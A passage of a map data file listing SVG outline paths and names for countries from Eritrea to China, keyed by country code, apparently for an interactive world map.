			path: "M520.38,246.23l3.42,2.43l3.5,3.77l0.84,0.54l-0.95,-0.01l-3.51,-3.89l-2.33,-1.15l-1.73,-0.07l-0.91,-0.51l-1.26,0.51l-1.34,-1.02l-0.61,0.17l-0.66,1.61l-2.35,-0.43l-0.17,-0.67l1.29,-5.29l0.61,-0.61l1.95,-0.53l0.87,-1.01l1.17,2.41l0.68,2.33l1.49,1.43Z",
			name: "Eritrea",
		},
		ME: {
			path: "M468.91,172.53l-1.22,-1.02l0.47,-1.81l0.89,-0.72l2.26,1.51l-0.5,0.57l-0.75,-0.27l-1.14,1.73Z",
			name: "Montenegro",
		},
		MD: {
			path: "M488.41,153.73l1.4,-0.27l1.72,0.93l1.07,0.15l0.85,0.65l-0.14,0.84l0.96,0.85l1.12,2.47l-1.15,-0.07l-0.66,-0.41l-0.52,0.25l-0.09,0.86l-1.08,1.89l-0.27,-0.86l0.25,-1.34l-0.16,-1.6l-3.29,-4.34Z",
			name: "Moldova",
		},
		MG: {
			path: "M545.91,319.14l0.4,3.03l0.62,1.21l-0.21,1.02l-0.57,-0.8l-0.69,-0.01l-0.47,0.76l0.41,2.12l-0.18,0.87l-0.73,0.78l-0.15,2.14l-4.71,15.2l-1.06,2.88l-3.92,1.64l-3.12,-1.49l-0.6,-1.21l-0.19,-2.4l-0.86,-2.05l-0.21,-1.77l0.38,-1.62l1.21,-0.75l0.01,-0.76l1.19,-2.04l0.23,-1.66l-1.06,-2.99l-0.19,-2.21l0.81,-1.33l0.32,-1.46l4.63,-1.22l3.44,-3.0l0.85,-1.4l-0.08,-0.7l0.78,-0.04l1.38,-1.77l0.13,-1.64l0.45,-0.61l1.16,1.69l0.59,1.6Z",
			name: "Madagascar",
		},
		MA: {
			path: "M378.78,230.02l0.06,-0.59l0.92,-0.73l0.82,-1.37l-0.09,-1.04l0.79,-1.7l1.31,-1.58l0.96,-0.59l0.66,-1.55l0.09,-1.47l0.81,-1.48l1.72,-1.07l1.55,-2.69l1.16,-0.96l2.44,-0.39l1.94,-1.82l1.31,-0.78l2.09,-2.28l-0.51,-3.65l1.24,-3.7l1.5,-1.75l4.46,-2.57l2.37,-4.47l1.44,0.01l1.68,1.21l2.32,-0.19l3.47,0.65l0.8,1.54l0.16,1.71l0.86,2.96l0.56,0.59l-0.26,0.61l-3.05,0.44l-1.26,1.05l-1.33,0.22l-0.33,0.37l-0.09,1.78l-2.68,1.0l-1.07,1.42l-4.47,1.13l-4.04,2.01l-0.54,4.64l-1.15,0.06l-0.92,0.61l-1.96,-0.35l-2.42,0.54l-0.74,1.9l-0.86,0.4l-1.14,3.26l-3.53,3.01l-0.8,3.55l-0.96,1.1l-0.29,0.82l-4.95,0.18Z",
			name: "Morocco",
		},
		UZ: {
			path: "M598.64,172.75l-1.63,1.52l0.06,0.64l1.85,1.12l1.97,-0.64l2.21,1.17l-2.52,1.68l-2.59,-0.22l-0.18,-0.41l0.46,-1.23l-0.45,-0.53l-3.35,0.69l-2.1,3.51l-1.87,-0.12l-1.03,1.51l0.22,0.55l1.64,0.62l0.46,1.83l-1.19,2.49l-2.66,-0.53l0.05,-1.36l-0.26,-0.39l-3.3,-1.23l-2.56,-1.4l-4.4,-3.34l-1.34,-3.14l-1.08,-0.6l-2.58,0.13l-0.69,-0.44l-0.47,-2.52l-3.37,-1.6l-0.43,0.05l-2.07,1.72l-2.1,1.01l-0.21,0.47l0.28,1.01l-1.91,0.03l-0.09,-10.5l5.99,-1.7l6.19,3.54l2.71,2.84l7.05,-0.67l2.71,2.01l-0.17,2.81l0.39,0.42l0.9,0.02l0.44,2.14l0.38,0.32l2.94,0.09l0.95,1.42l1.28,-0.24l1.05,-2.04l4.43,-2.5Z",
			name: "Uzbekistan",
		},
		MM: {
			path: "M673.9,230.21l-1.97,1.57l-0.57,0.96l-1.4,0.6l-1.36,1.05l-1.99,0.36l-1.08,2.66l-0.91,0.4l-0.19,0.55l1.21,2.27l2.52,3.43l-0.79,1.91l-0.74,0.41l-0.17,0.52l0.65,1.37l1.61,1.95l0.25,2.58l0.9,2.13l-1.92,3.57l0.68,-2.25l-0.81,-1.74l0.19,-2.65l-1.05,-1.53l-1.24,-6.17l-1.12,-2.26l-0.6,-0.13l-4.34,3.02l-2.39,-0.65l0.77,-2.84l-0.52,-2.61l-1.91,-2.96l0.25,-0.75l-0.29,-0.51l-1.33,-0.3l-1.61,-1.93l-0.1,-1.3l0.82,-0.24l0.04,-1.64l1.02,-0.52l0.21,-0.45l-0.23,-0.95l0.54,-0.96l0.08,-2.22l1.46,0.45l0.47,-0.2l1.12,-2.19l0.16,-1.35l1.33,-2.16l-0.0,-1.52l2.89,-1.66l1.63,0.44l0.5,-0.44l-0.17,-1.4l0.64,-0.36l0.08,-1.04l0.77,-0.11l0.71,1.35l1.06,0.69l-0.03,3.86l-2.38,2.37l-0.3,3.15l0.46,0.43l2.28,-0.38l0.51,2.08l1.47,0.67l-0.6,1.8l0.19,0.48l2.97,1.48l1.64,-0.55l0.02,0.32Z",
			name: "Myanmar",
		},
		ML: {
			path: "M392.61,254.08l-0.19,-2.37l-0.99,-0.87l-0.44,-1.3l-0.09,-1.28l0.81,-0.58l0.35,-1.24l2.37,0.65l1.31,-0.47l0.86,0.15l0.66,-0.56l9.83,-0.04l0.38,-0.28l0.56,-1.8l-0.44,-0.65l-2.35,-21.95l3.27,-0.04l16.7,11.38l0.74,1.31l2.5,1.09l0.02,1.38l0.44,0.39l2.34,-0.21l0.01,5.38l-1.28,1.61l-0.26,1.49l-5.31,0.57l-1.07,0.92l-2.9,0.1l-0.86,-0.48l-1.38,0.36l-2.4,1.08l-0.6,0.87l-1.85,1.09l-0.43,0.7l-0.79,0.39l-1.44,-0.21l-0.81,0.84l-0.34,1.64l-1.91,2.02l-0.06,1.03l-0.67,1.22l0.13,1.16l-0.97,0.39l-0.23,-0.64l-0.52,-0.24l-1.35,0.4l-0.34,0.55l-2.69,-0.28l-0.37,-0.35l-0.02,-0.9l-0.65,-0.35l0.45,-0.64l-0.03,-0.53l-2.12,-2.44l-0.76,-0.01l-2.0,1.16l-0.78,-0.15l-0.8,-0.67l-1.21,0.23Z",
			name: "Mali",
		},
		MN: {
			path: "M676.61,146.48l3.81,1.68l5.67,-1.0l2.37,0.41l2.34,1.5l1.79,1.75l2.29,-0.03l3.12,0.52l2.47,-0.81l3.41,-0.59l3.53,-2.21l1.25,0.29l1.53,1.13l2.27,-0.21l-2.66,5.01l0.64,1.68l0.47,0.21l1.32,-0.38l2.38,0.48l2.02,-1.11l1.76,0.89l2.06,2.02l-0.13,0.53l-1.72,-0.29l-3.77,0.46l-1.88,0.99l-1.76,1.99l-3.71,1.17l-2.45,1.6l-3.83,-0.87l-0.41,0.17l-1.31,1.99l1.04,2.24l-1.52,0.9l-1.74,1.57l-2.79,1.02l-3.78,0.13l-4.05,1.05l-2.77,1.52l-1.16,-0.85l-2.94,0.0l-3.62,-1.79l-2.58,-0.49l-3.4,0.41l-5.12,-0.67l-2.63,0.06l-1.31,-1.6l-1.4,-3.0l-1.48,-0.33l-3.13,-1.94l-6.16,-0.93l-0.71,-1.06l0.86,-3.82l-1.93,-2.71l-3.5,-1.18l-1.95,-1.58l-0.5,-1.72l2.34,-0.52l4.75,-2.8l3.62,-1.47l2.18,0.97l2.46,0.05l1.81,1.53l2.46,0.12l3.95,0.71l2.43,-2.28l0.08,-0.48l-0.9,-1.72l2.24,-2.98l2.62,1.27l4.94,1.17l0.43,2.24Z",
			name: "Mongolia",
		},
		MK: {
			path: "M472.8,173.98l0.49,-0.71l3.57,-0.71l1.0,0.77l0.13,1.45l-0.65,0.53l-1.15,-0.05l-1.12,0.67l-1.39,0.22l-0.79,-0.55l-0.29,-1.03l0.19,-0.6Z",
			name: "Macedonia",
		},
		MW: {
			path: "M505.5,309.31l0.85,1.95l0.15,2.86l-0.69,1.65l0.71,1.8l0.06,1.28l0.49,0.64l0.07,1.06l0.4,0.55l0.8,-0.23l0.55,0.61l0.69,-0.21l0.34,0.6l0.19,2.94l-1.04,0.62l-0.54,1.25l-1.11,-1.08l-0.16,-1.56l0.51,-1.31l-0.32,-1.3l-0.99,-0.65l-0.82,0.12l-2.36,-1.64l0.63,-1.96l0.82,-1.18l-0.46,-2.01l0.9,-2.86l-0.94,-2.51l0.96,0.18l0.29,0.4Z",
			name: "Malawi",
		},
		MR: {
			path: "M407.36,220.66l-2.58,0.03l-0.39,0.44l2.42,22.56l0.36,0.43l-0.39,1.24l-9.75,0.04l-0.56,0.53l-0.91,-0.11l-1.27,0.45l-1.61,-0.66l-0.97,0.03l-0.36,0.29l-0.38,1.35l-0.42,0.23l-2.93,-3.4l-2.96,-1.52l-1.62,-0.03l-1.27,0.54l-1.12,-0.2l-0.65,0.4l-0.08,-0.49l0.68,-1.29l0.31,-2.43l-0.57,-3.91l0.23,-1.21l-0.69,-1.5l-1.15,-1.02l0.25,-0.39l9.58,0.02l0.4,-0.45l-0.46,-3.68l0.47,-1.04l2.12,-0.21l0.36,-0.4l-0.08,-6.4l7.81,0.13l0.41,-0.4l0.01,-3.31l7.76,5.35Z",
			name: "Mauritania",
		},
		UG: {
			path: "M498.55,276.32l0.7,-0.46l1.65,0.5l1.96,-0.57l1.7,0.01l1.45,-0.98l0.91,1.33l1.33,3.95l-2.57,4.03l-1.46,-0.4l-2.54,0.91l-1.37,1.61l-0.01,0.81l-2.42,-0.01l-2.26,1.01l-0.17,-1.59l0.58,-1.04l0.14,-1.94l1.37,-2.28l1.78,-1.58l-0.17,-0.65l-0.72,-0.24l0.13,-2.43Z",
			name: "Uganda",
		},
		MY: {
			path: "M717.47,273.46l-1.39,0.65l-2.12,-0.41l-2.88,-0.0l-0.38,0.28l-0.84,2.75l-0.99,0.96l-1.21,3.29l-1.73,0.45l-2.45,-0.68l-1.39,0.31l-1.33,1.15l-1.59,-0.14l-1.41,0.44l-1.44,-1.19l-0.18,-0.73l1.34,0.53l1.93,-0.47l0.75,-2.22l4.02,-1.03l2.75,-3.21l0.82,0.94l0.64,-0.05l0.4,-0.65l0.96,0.06l0.42,-0.36l0.24,-2.68l1.81,-1.64l1.21,-1.86l0.63,-0.01l1.07,1.05l0.34,1.28l3.44,1.35l-0.06,0.35l-1.37,0.1l-0.35,0.54l0.32,0.88ZM673.68,269.59l0.17,1.09l0.47,0.33l1.65,-0.3l0.87,-0.94l1.61,1.52l0.98,1.56l-0.12,2.81l0.41,2.29l0.95,0.9l0.88,2.44l-1.27,0.12l-5.1,-3.67l-0.34,-1.29l-1.37,-1.59l-0.33,-1.97l-0.88,-1.4l0.25,-1.68l-0.46,-1.05l1.63,0.84Z",
			name: "Malaysia",
		},
		MX: {
			path: "M133.12,200.41l0.2,0.47l9.63,3.33l6.96,-0.02l0.4,-0.4l0.0,-0.74l3.77,0.0l3.55,2.93l1.39,2.83l1.52,1.04l2.08,0.82l0.47,-0.14l1.46,-2.0l1.73,-0.04l1.59,0.98l2.05,3.35l1.47,1.56l1.26,3.14l2.18,1.02l2.26,0.58l-1.18,3.72l-0.42,5.04l1.79,4.89l1.62,1.89l0.61,1.52l1.2,1.42l2.55,0.66l1.37,1.1l7.54,-1.89l1.86,-1.3l1.14,-4.3l4.1,-1.21l3.57,-0.11l0.32,0.3l-0.06,0.94l-1.26,1.45l-0.67,1.71l0.38,0.7l-0.72,2.27l-0.49,-0.3l-1.0,0.08l-1.0,1.39l-0.47,-0.11l-0.53,0.47l-4.26,-0.02l-0.4,0.4l-0.0,1.06l-1.1,0.26l0.1,0.44l1.82,1.44l0.56,0.91l-3.19,0.21l-1.21,2.09l0.24,0.72l-0.2,0.44l-2.24,-2.18l-1.45,-0.93l-2.22,-0.69l-1.52,0.22l-3.07,1.16l-10.55,-3.85l-2.86,-1.96l-3.78,-0.92l-1.08,-1.19l-2.62,-1.43l-1.18,-1.54l-0.38,-0.81l0.66,-0.63l-0.18,-0.53l0.52,-0.76l0.01,-0.91l-2.0,-3.82l-2.21,-2.63l-2.53,-2.09l-1.19,-1.62l-2.2,-1.17l-0.3,-0.43l0.34,-1.48l-0.21,-0.45l-1.23,-0.6l-1.36,-1.2l-0.59,-1.78l-1.54,-0.47l-2.44,-2.55l-0.16,-0.9l-1.33,-2.03l-0.84,-1.99l-0.16,-1.33l-1.81,-1.1l-0.97,0.05l-1.31,-0.7l-0.57,0.22l-0.4,1.12l0.72,3.77l3.51,3.89l0.28,0.78l0.53,0.26l0.41,1.43l1.33,1.73l1.58,1.41l0.8,2.39l1.43,2.41l0.13,1.32l0.37,0.36l1.04,0.08l1.67,2.28l-0.85,0.76l-0.66,-1.51l-1.68,-1.54l-2.91,-1.87l0.06,-1.82l-0.54,-1.68l-2.91,-2.03l-0.55,0.09l-1.95,-1.1l-0.88,-0.94l0.68,-0.08l0.93,-1.01l0.08,-1.78l-1.93,-1.94l-1.46,-0.77l-3.75,-7.56l4.88,-0.42Z",
			name: "Mexico",
		},
		IL: {
			path: "M507.76,203.05l0.4,-0.78l0.18,0.4l-0.33,1.03l0.52,0.44l0.68,-0.22l-0.86,3.6l-1.16,-3.32l0.59,-0.74l-0.03,-0.41ZM508.73,200.34l0.37,-1.02l0.64,0.0l0.52,-0.51l-0.49,1.53l-0.56,-0.24l-0.48,0.23Z",
			name: "Israel",
		},
		FR: {
			path: "M444.48,172.62l-0.64,1.78l-0.58,-0.31l-0.49,-1.72l0.4,-0.89l1.0,-0.72l0.3,1.85ZM429.64,147.1l1.78,1.58l1.46,-0.13l2.1,1.42l1.35,0.27l1.23,0.83l3.04,0.5l-1.03,1.85l-0.3,2.12l-0.41,0.32l-0.95,-0.24l-0.5,0.43l0.06,0.61l-1.81,1.92l-0.04,1.42l0.55,0.38l0.88,-0.36l0.61,0.97l-0.03,1.0l0.57,0.91l-0.75,1.09l0.65,2.39l1.27,0.57l-0.18,0.82l-2.01,1.53l-4.77,-0.8l-3.82,1.0l-0.53,1.85l-2.49,0.34l-2.71,-1.31l-1.16,0.57l-4.31,-1.29l-0.72,-0.86l1.19,-1.78l0.39,-6.45l-2.58,-3.3l-1.9,-1.66l-3.72,-1.23l-0.19,-1.72l2.81,-0.61l4.12,0.81l0.47,-0.48l-0.6,-2.77l1.94,0.95l5.83,-2.54l0.92,-2.74l1.6,-0.49l0.24,0.78l1.36,0.33l1.05,1.19ZM289.01,278.39l-0.81,0.8l-0.78,0.12l-0.5,-0.66l-0.56,-0.1l-0.91,0.6l-0.46,-0.22l1.09,-2.96l-0.96,-1.77l-0.17,-1.49l1.07,-1.77l2.32,0.75l2.51,2.01l0.3,0.74l-2.14,3.96Z",
			name: "France",
		},
		FI: {
			path: "M492.17,76.39l-0.23,3.5l3.52,2.63l-2.08,2.88l-0.02,0.44l2.8,4.56l-1.59,3.31l2.16,3.24l-0.94,2.39l0.14,0.47l3.44,2.51l-0.77,1.62l-7.52,6.95l-4.5,0.31l-4.38,1.37l-3.8,0.74l-1.44,-1.96l-2.17,-1.11l0.5,-3.66l-1.16,-3.33l1.09,-2.08l2.21,-2.42l5.67,-4.32l1.64,-0.83l0.21,-0.42l-0.46,-2.02l-3.38,-1.89l-0.75,-1.43l-0.22,-6.74l-6.79,-4.8l0.8,-0.62l2.54,2.12l3.46,-0.12l3.0,0.96l2.51,-2.11l1.17,-3.08l3.55,-1.38l2.76,1.53l-0.95,2.79Z",
			name: "Finland",
		},
		FJ: {
			path: "M869.95,326.98l-1.21,0.41l-0.08,-0.23l2.62,-1.02l0.0,0.31l-1.33,0.53ZM867.58,329.25l0.43,0.37l-0.27,0.88l-1.24,0.28l-1.04,-0.24l-0.14,-0.66l0.63,-0.58l0.92,0.26l0.7,-0.31Z",
			name: "Fiji",
		},
		FK: {
			path: "M274.36,425.85l1.44,1.08l-0.47,0.73l-3.0,0.89l-0.96,-1.0l-0.52,-0.05l-1.83,1.29l-0.73,-0.88l2.46,-1.64l1.93,0.76l1.67,-1.19Z",
			name: "Falkland Is.",
		},
		NI: {
			path: "M202.33,252.67l0.81,-0.18l1.03,-1.02l-0.04,-0.88l0.68,-0.0l0.63,-0.54l0.97,0.22l1.53,-1.26l0.58,-0.99l1.17,0.34l2.41,-0.94l0.13,1.32l-0.81,1.94l0.1,2.74l-0.36,0.37l-0.11,1.75l-0.47,0.81l0.18,1.14l-1.73,-0.85l-0.71,0.27l-1.47,-0.6l-0.52,0.16l-4.01,-3.81Z",
			name: "Nicaragua",
		},
		NL: {
			path: "M430.31,143.39l0.6,-0.5l2.13,-4.8l3.2,-1.33l1.74,0.08l0.33,0.8l-0.59,2.92l-0.5,0.99l-1.26,0.0l-0.4,0.45l0.33,2.7l-2.2,-1.78l-2.62,0.58l-0.75,-0.11Z",
			name: "Netherlands",
		},
		NO: {
			path: "M491.44,67.41l6.8,2.89l-2.29,0.86l-0.15,0.65l2.33,2.38l-4.98,1.79l0.84,-2.45l-0.18,-0.48l-3.55,-1.8l-3.89,1.52l-1.42,3.38l-2.12,1.72l-2.64,-1.0l-3.11,0.21l-2.66,-2.22l-0.5,-0.01l-1.41,1.1l-1.44,0.17l-0.35,0.35l-0.32,2.47l-4.32,-0.64l-0.44,0.29l-0.58,2.11l-2.45,0.2l-4.15,7.68l-3.88,5.76l0.78,1.62l-0.64,1.16l-2.24,-0.06l-0.38,0.24l-1.66,3.89l0.15,5.17l1.57,2.04l-0.78,4.16l-2.02,2.48l-0.85,1.63l-1.3,-1.75l-0.58,-0.07l-4.87,4.19l-3.1,0.79l-3.16,-1.7l-0.85,-3.77l-0.77,-8.55l2.14,-2.31l6.55,-3.27l5.02,-4.17l10.63,-13.84l10.98,-8.7l5.35,-1.91l4.34,0.12l3.69,-3.64l4.49,0.19l4.37,-0.89ZM484.55,20.04l4.26,1.75l-3.1,2.55l-7.1,0.65l-7.08,-0.9l-0.37,-1.31l-0.37,-0.29l-3.44,-0.1l-2.08,-2.0l6.87,-1.44l3.9,1.31l2.39,-1.64l6.13,1.4ZM481.69,33.93l-4.45,1.74l-3.54,-0.99l1.12,-0.9l0.05,-0.58l-1.06,-1.22l4.22,-0.89l1.09,1.97l2.57,0.87ZM466.44,24.04l7.43,3.77l-5.41,1.86l-1.58,4.08l-2.26,1.2l-1.12,4.11l-2.61,0.18l-4.79,-2.86l1.84,-1.54l-0.1,-0.68l-3.69,-1.53l-4.77,-4.51l-1.73,-3.89l6.11,-1.82l1.54,1.92l3.57,-0.08l1.2,-1.96l3.32,-0.18l3.05,1.92Z",
			name: "Norway",
		},
		NA: {
			path: "M474.26,330.66l-0.97,0.04l-0.38,0.4l-0.07,8.9l-2.09,0.08l-0.39,0.4l-0.0,17.42l-1.98,1.23l-1.17,0.17l-2.44,-0.66l-0.48,-1.13l-0.99,-0.74l-0.54,0.05l-0.9,1.01l-1.53,-1.68l-0.93,-1.88l-1.99,-8.56l-0.06,-3.12l-0.33,-1.52l-2.3,-3.34l-1.91,-4.83l-1.96,-2.43l-0.12,-1.57l2.33,-0.79l1.43,0.07l1.81,1.13l10.23,-0.25l1.84,1.23l5.87,0.35ZM474.66,330.64l6.51,-1.6l1.9,0.39l-1.69,0.4l-1.31,0.83l-1.12,-0.94l-4.29,0.92Z",
			name: "Namibia",
		},
		VU: {
			path: "M839.04,322.8l0.22,1.14l-0.44,0.03l-0.2,-1.45l0.42,0.27Z",
			name: "Vanuatu",
		},
		NC: {
			path: "M838.78,341.24l-0.33,0.22l-2.9,-1.75l-3.26,-3.37l1.65,0.83l4.85,4.07Z",
			name: "New Caledonia",
		},
		NE: {
			path: "M454.75,226.53l1.33,1.37l0.48,0.07l1.27,-0.7l0.53,3.52l0.94,0.83l0.17,0.92l0.81,0.69l-0.44,0.95l-0.96,5.26l-0.13,3.22l-3.04,2.31l-1.22,3.57l1.02,1.24l-0.0,1.46l0.39,0.4l1.13,0.04l-0.9,1.25l-1.47,-2.42l-0.86,-0.29l-2.09,1.37l-1.74,-0.67l-1.45,-0.17l-0.85,0.35l-1.36,-0.07l-1.64,1.09l-1.06,0.05l-2.94,-1.28l-1.44,0.59l-1.01,-0.03l-0.97,-0.94l-2.7,-0.98l-2.69,0.3l-0.87,0.64l-0.47,1.6l-0.75,1.16l-0.12,1.53l-1.57,-1.1l-1.31,0.24l0.03,-0.81l-0.32,-0.41l-2.59,-0.52l-0.15,-1.16l-1.35,-1.6l-0.29,-1.0l0.13,-0.84l1.29,-0.08l1.08,-0.92l3.31,-0.22l2.22,-0.41l0.32,-0.34l0.2,-1.47l1.39,-1.88l-0.01,-5.66l3.36,-1.12l7.24,-5.12l8.42,-4.92l3.69,1.06Z",
			name: "Niger",
		},
		NG: {
			path: "M456.32,253.89l0.64,0.65l-0.28,1.04l-2.11,2.01l-2.03,5.18l-1.37,1.16l-1.15,3.18l-1.33,0.66l-1.46,-0.97l-1.21,0.16l-1.38,1.36l-0.91,0.24l-1.79,4.06l-2.33,0.81l-1.11,-0.07l-0.86,0.5l-1.71,-0.05l-1.19,-1.39l-0.89,-1.89l-1.77,-1.66l-3.95,-0.08l0.07,-5.21l0.42,-1.43l1.95,-2.3l-0.14,-0.91l0.43,-1.18l-0.53,-1.41l0.25,-2.92l0.72,-1.07l0.32,-1.34l0.46,-0.39l2.47,-0.28l2.34,0.89l1.15,1.02l1.28,0.04l1.22,-0.58l3.03,1.27l1.49,-0.14l1.36,-1.0l1.33,0.07l0.82,-0.35l3.45,0.8l1.82,-1.32l1.84,2.67l0.66,0.16Z",
			name: "Nigeria",
		},
		NZ: {
			path: "M857.8,379.65l1.86,3.12l0.44,0.18l0.3,-0.38l0.03,-1.23l0.38,0.27l0.57,2.31l2.02,0.94l1.81,0.27l1.57,-1.06l0.7,0.18l-1.15,3.59l-1.98,0.11l-0.74,1.2l0.2,1.11l-2.42,3.98l-1.49,0.92l-1.04,-0.85l1.21,-2.05l-0.81,-2.01l-2.63,-1.25l0.04,-0.57l1.82,-1.19l0.43,-2.34l-0.16,-2.03l-0.95,-1.82l-0.06,-0.72l-3.11,-3.64l-0.79,-1.52l1.56,1.45l1.76,0.66l0.65,2.34ZM853.83,393.59l0.57,1.24l0.59,0.16l1.42,-0.97l0.46,0.79l0.0,1.03l-2.47,3.48l-1.26,1.2l-0.06,0.5l0.55,0.87l-1.41,0.07l-2.33,1.38l-2.03,5.02l-3.02,2.16l-2.06,-0.06l-1.71,-1.04l-2.47,-0.2l-0.27,-0.73l1.22,-2.1l3.05,-2.94l1.62,-0.59l4.02,-2.82l1.57,-1.67l1.07,-2.16l0.88,-0.7l0.48,-1.75l1.24,-0.97l0.35,0.79Z",
			name: "New Zealand",
		},
		NP: {
			path: "M641.14,213.62l0.01,3.19l-1.74,0.04l-4.8,-0.86l-1.58,-1.39l-3.37,-0.34l-7.65,-3.7l0.8,-2.09l2.33,-1.7l1.77,0.75l2.49,1.76l1.38,0.41l0.99,1.35l1.9,0.52l1.99,1.17l5.49,0.9Z",
			name: "Nepal",
		},
		CI: {
			path: "M407.4,259.27l0.86,0.42l0.56,0.9l1.13,0.53l1.19,-0.61l0.97,-0.08l1.42,0.54l0.6,3.24l-1.03,2.08l-0.65,2.84l1.06,2.33l-0.06,0.53l-2.54,-0.47l-1.66,0.03l-3.06,0.46l-4.11,1.6l0.32,-3.06l-1.18,-1.31l-1.32,-0.66l0.42,-0.85l-0.2,-1.4l0.5,-0.67l0.01,-1.59l0.84,-0.32l0.26,-0.5l-1.15,-3.01l0.12,-0.5l0.51,-0.25l0.66,0.31l1.93,0.02l0.67,-0.71l0.71,-0.14l0.25,0.69l0.57,0.22l1.4,-0.61Z",
			name: "C\u00f4te d'Ivoire",
		},
		CH: {
			path: "M444.62,156.35l-0.29,0.87l0.18,0.53l1.13,0.58l1.0,0.1l-0.1,0.65l-0.79,0.38l-1.72,-0.37l-0.45,0.23l-0.45,1.04l-0.75,0.06l-0.84,-0.4l-1.32,1.0l-0.96,0.12l-0.88,-0.55l-0.81,-1.3l-0.49,-0.16l-0.63,0.26l0.02,-0.65l1.71,-1.66l0.1,-0.56l0.93,0.08l0.58,-0.46l1.99,0.02l0.66,-0.61l2.19,0.79Z",
			name: "Switzerland",
		},
		CO: {
			path: "M242.07,254.93l-1.7,0.59l-0.59,1.18l-1.7,1.69l-0.38,1.93l-0.67,1.43l0.31,0.57l1.03,0.13l0.25,0.9l0.57,0.64l-0.04,2.34l1.64,1.42l3.16,-0.24l1.26,0.28l1.67,2.06l0.41,0.13l4.09,-0.39l0.45,0.22l-0.92,1.95l-0.2,1.8l0.52,1.83l0.75,1.05l-1.12,1.1l0.07,0.63l0.84,0.51l0.74,1.29l-0.39,-0.45l-0.59,-0.01l-0.71,0.74l-4.71,-0.05l-0.4,0.41l0.03,1.57l0.33,0.39l1.11,0.2l-1.68,0.4l-0.29,0.38l-0.01,1.82l1.16,1.14l0.34,1.25l-1.05,7.05l-1.04,-0.87l1.26,-1.99l-0.13,-0.56l-2.18,-1.23l-1.38,0.2l-1.14,-0.38l-1.27,0.61l-1.55,-0.26l-1.38,-2.46l-1.23,-0.75l-0.85,-1.2l-1.67,-1.19l-0.86,0.13l-2.11,-1.32l-1.01,0.31l-1.8,-0.29l-0.52,-0.91l-3.09,-1.68l0.77,-0.52l-0.1,-1.12l0.41,-0.64l1.34,-0.32l2.0,-2.88l-0.11,-0.57l-0.66,-0.43l0.39,-1.38l-0.52,-2.1l0.49,-0.83l-0.4,-2.13l-0.97,-1.35l0.17,-0.66l0.86,-0.08l0.47,-0.75l-0.46,-1.63l1.41,-0.07l1.8,-1.69l0.93,-0.24l0.3,-0.38l0.45,-2.76l1.22,-1.0l1.44,-0.04l0.45,-0.5l1.91,0.12l2.93,-1.84l1.15,-1.14l0.91,0.46l-0.25,0.45Z",
			name: "Colombia",
		},
		CN: {
			path: "M740.23,148.97l4.57,1.3l2.8,2.17l0.98,2.9l0.38,0.27l3.8,0.0l2.32,-1.28l3.29,-0.75l-0.96,2.09l-1.02,1.28l-0.85,3.4l-1.52,2.73l-2.76,-0.5l-2.4,1.13l-0.21,0.45l0.64,2.57l-0.32,3.2l-0.94,0.06l-0.37,0.89l-0.91,-1.01l-0.64,0.07l-0.92,1.57l-3.73,1.25l-0.26,0.48l0.26,1.06l-1.5,-0.08l-1.09,-0.86l-0.56,0.06l-1.67,2.06l-2.7,1.56l-2.03,1.88l-3.4,0.83l-1.93,1.4l-1.15,0.34l0.33,-0.7l-0.41,-0.89l1.79,-1.79l0.02,-0.54l-1.32,-1.56l-0.48,-0.1l-2.24,1.09l-2.83,2.06l-1.51,1.83l-2.28,0.13l-1.55,1.49l-0.04,0.5l1.32,1.97l2.0,0.58l0.31,1.35l1.98,0.84l3.0,-1.96l2.0,1.02l1.49,0.11l0.22,0.83l-3.37,0.86l-1.12,1.48l-2.5,1.52l-1.29,1.99l0.14,0.56l2.57,1.48l0.97,2.7l3.17,4.63l-0.03,1.66l-1.35,0.65l-0.2,0.51l0.6,1.47l1.4,0.91l-0.89,3.82l-1.43,0.38l-3.85,6.44l-2.27,3.11l-6.78,4.57l-2.73,0.29l-1.45,1.04l-0.62,-0.61l-0.55,-0.01l-1.36,1.25l-3.39,1.27l-2.61,0.4l-1.1,2.79l-0.81,0.09l-0.49,-1.42l0.5,-0.85l-0.25,-0.59l-3.36,-0.84l-1.3,0.4l-2.31,-0.62l-0.94,-0.84l0.33,-1.28l-0.3,-0.49l-2.19,-0.46l-1.13,-0.93l-0.47,-0.02l-2.06,1.36l-4.29,0.28l-2.76,1.05l-0.28,0.43l0.32,2.53l-0.59,-0.03l-0.19,-1.34l-0.55,-0.34l-1.68,0.7l-2.46,-1.23l0.62,-1.87l-0.26,-0.51l-1.37,-0.44l-0.54,-2.22l-0.45,-0.3l-2.13,0.35l0.24,-2.48l2.39,-2.4l0.03,-4.31l-1.19,-0.92l-0.78,-1.49l-0.41,-0.21l-1.41,0.19l-1.98,-0.3l0.46,-1.07l-1.17,-1.7l-0.55,-0.11l-1.63,1.05l-2.25,-0.57l-2.89,1.73l-2.25,1.98l-1.75,0.29l-1.17,-0.71l-3.31,-0.65l-1.48,0.79l-1.04,1.27l-0.12,-1.17l-0.54,-0.34l-1.44,0.54l-5.55,-0.86l-1.98,-1.16l-1.89,-0.54l-0.99,-1.35l-1.34,-0.37l-2.55,-1.79l-2.01,-0.84l-1.21,0.56l-5.57,-3.45l-0.53,-2.31l1.19,0.25l0.48,-0.37l0.08,-1.42l-0.98,-1.56l0.15,-2.44l-2.69,-3.32l-4.12,-1.23l-0.67,-2.0l-1.92,-1.48l-0.38,-0.7l-0.51,-3.01l-1.52,-0.66l-0.7,0.13l-0.48,-2.05l0.55,-0.51l-0.09,-0.82l2.03,-1.19l1.6,-0.54l2.56,0.38l0.42,-0.22l0.85,-1.7l3.0,-0.33l1.1,-1.26l4.05,-1.77l0.39,-0.91l-0.17,-1.44l1.45,-0.67l0.2,-0.52l-2.07,-4.9l4.51,-1.12l1.37,-0.73l1.89,-5.51l4.98,0.86l1.51,-1.7l0.11,-2.87l1.99,-0.38l1.83,-2.06l0.49,-0.13l0.68,2.08l2.23,1.77l3.44,1.16l1.55,2.29l-0.92,3.49l0.96,1.67l6.54,1.13l2.95,1.87l1.47,0.35l1.06,2.62l1.53,1.91l3.05,0.08l5.14,0.67l3.37,-0.41l2.36,0.43l3.65,1.8l3.06,0.04l1.45,0.88l2.87,-1.59l3.95,-1.02l3.83,-0.14l3.06,-1.14l1.77,-1.6l1.72,-1.01l0.17,-0.49l-1.1,-2.05l1.02,-1.54l4.02,0.8l2.45,-1.61l3.76,-1.19l1.96,-2.13l1.63,-0.83l3.51,-0.4l1.92,0.34l0.46,-0.3l0.17,-1.5l-2.27,-2.22l-2.11,-1.09l-2.18,1.11l-2.32,-0.47l-1.29,0.32l-0.4,-0.82l2.73,-5.16l3.02,1.06l3.5